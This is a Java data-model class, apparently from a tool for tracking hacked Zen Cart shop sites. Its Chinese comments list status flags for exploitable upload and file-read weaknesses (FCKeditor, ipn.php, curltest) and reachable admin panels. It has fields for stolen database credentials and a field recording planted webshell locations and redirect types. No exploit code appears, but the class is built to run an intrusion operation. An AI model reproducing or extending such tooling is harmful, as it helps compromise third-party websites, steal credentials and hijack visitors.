package jude.java.money.beans;

import java.util.Date;

import jude.java.money.beans.global.BaseBean;

public class SlySite extends BaseBean {
	private static final long serialVersionUID = -2557259789858783239L;
	
	public static final int STATUS_FAIL = -1;				//失败
	public static final int STATUS_NEW = 0;					//
	public static final int STATUS_IPN = 1;					//可以查到路径
	public static final int STATUS_FCKEDITOR = 2;			//可以上传
	public static final int STATUS_TINY_MCE = 4;			//
	public static final int STATUS_CURLTEST = 8;			//可以查看文件内容
	public static final int STATUS_RP_CHECK = 16;			//存在rp_check.php
	public static final int STATUS_ADMIN = 64;				//管理路径可用
	public static final int STATUS_ADMIN_M = 128;			//多个管理后台可以打开, 基本上不可用
	public static final int STATUS_RECORD_COMPANY = 1024;	//RECORD_COMPANY可以打开
	
	public static final int STATUS_NOT_TRUE = STATUS_IPN | STATUS_FCKEDITOR | STATUS_TINY_MCE | STATUS_CURLTEST | STATUS_ADMIN_M;
	
	public static final int AUDIT_DENY4 = -4;				//打不开
	public static final int AUDIT_DENY3 = -3;				//域名被回收
	public static final int AUDIT_DENY2 = -2;				//非zc, 如mengento
	public static final int AUDIT_DENY = -1;				//非zc, 非网贸站, 官方站等
	public static final int AUDIT_NORMAL = 0;				//未处理
	public static final int AUDIT_SUCCESS = 1;				//成功
	public static final int AUDIT_FAIL = 2;					//暂时失败, 无法获取
	public static final int AUDIT_REDIRECT = 3;				//已经跳转
	public static final int AUDIT_RELATIVE = 10;			//成功, 通过其它站点进入
	
	public static final int UPLOAD_FAIL = 0;				//无法上传
	public static final int UPLOAD_FCKUPLOAD = 1;			//可以上传(fckeditor)
	public static final int UPLOAD_RECORD = 2;				//record_company
	public static final int UPLOAD_OTHER = 4;				//上传接口存在, 但无法上传, 只读
	public static final int UPLOAD_RENAME = 8;				//.htaccess 已经存在, 上传后会被重命名
	
	private String url;
	/** 不带www的域名名称 */
	private String domain;
	private String ip;
	
	private int status;
	private int audit;			//人工审核状态
	private int upload;
	
	private String admin;
	private String path;
	
	private String dbname;
	private String dbusr;
	private String dbpwd;
	
	/**
	 * A: (extra_configures)一句话
	 * B: editors/ipn.php
	 * C: images/def.jpg
	 * D: includes/templates/template_default/templates/tpl_box_header.php
	 * E: 定时跳转
	 * F: 脚本跳转
	 * G: site map
	 * */
	private String shell;
	private Date time;
	private String remark;
	private String keyword;		//关键字
	private int rank = -1;		//录入时的排名排名
	private String lang;
	
	public SlySite() {
	}
	public SlySite(String domain) {
		this.url = domain;
		this.time = new Date();
	}
	
	public String getUrl() {
		return url;
	}
	public void setUrl(String domain) {
		this.url = domain;
	}
	public int getStatus() {
		return status;
	}
	public void setStatus(int status) {
		this.status = status;
	}
	public String getAdmin() {
		return admin;
	}
	public void setAdmin(String admin) {
		this.admin = admin;
	}
	public String getPath() {
		return path;
	}
	public void setPath(String path) {
		this.path = path;
	}
	public String getDbusr() {
		return dbusr;
	}
	public void setDbusr(String dbusr) {
		this.dbusr = dbusr;
	}
	public String getDbpwd() {
		return dbpwd;
	}
	public void setDbpwd(String dbpwd) {
		this.dbpwd = dbpwd;
	}
	public String getShell() {
		return shell;
	}
	public void setShell(String shell) {
		this.shell = shell;
	}
	public Date getTime() {
		return time;
	}
	public void setTime(Date time) {
		this.time = time;
	}
	public String getRemark() {
		return remark;
	}
	public void setRemark(String remark) {
		this.remark = remark;
	}
	public int getAudit() {
		return audit;
	}
	public void setAudit(int audit) {
		this.audit = audit;
	}
	public int getUpload() {
		return upload;
	}
	public void setUpload(int upload) {
		this.upload = upload;
	}
	public String getDbname() {
		return dbname;
	}
	public void setDbname(String dbname) {
		this.dbname = dbname;
	}
	public int getRank() {
		return rank;
	}
	public void setRank(int rank) {
		this.rank = rank;
	}
	public String getKeyword() {
		return keyword;
	}
	public void setKeyword(String keyword) {
		this.keyword = keyword;
	}
	public String getLang() {
		return lang;
	}
	public void setLang(String lang) {
		this.lang = lang;
	}
	public String getDomain() {
		return domain;
	}
	public void setDomain(String www) {
		this.domain = www;
	}
	public String getIp() {
		return ip;
	}
	public void setIp(String ip) {
		this.ip = ip;
	}
	
}
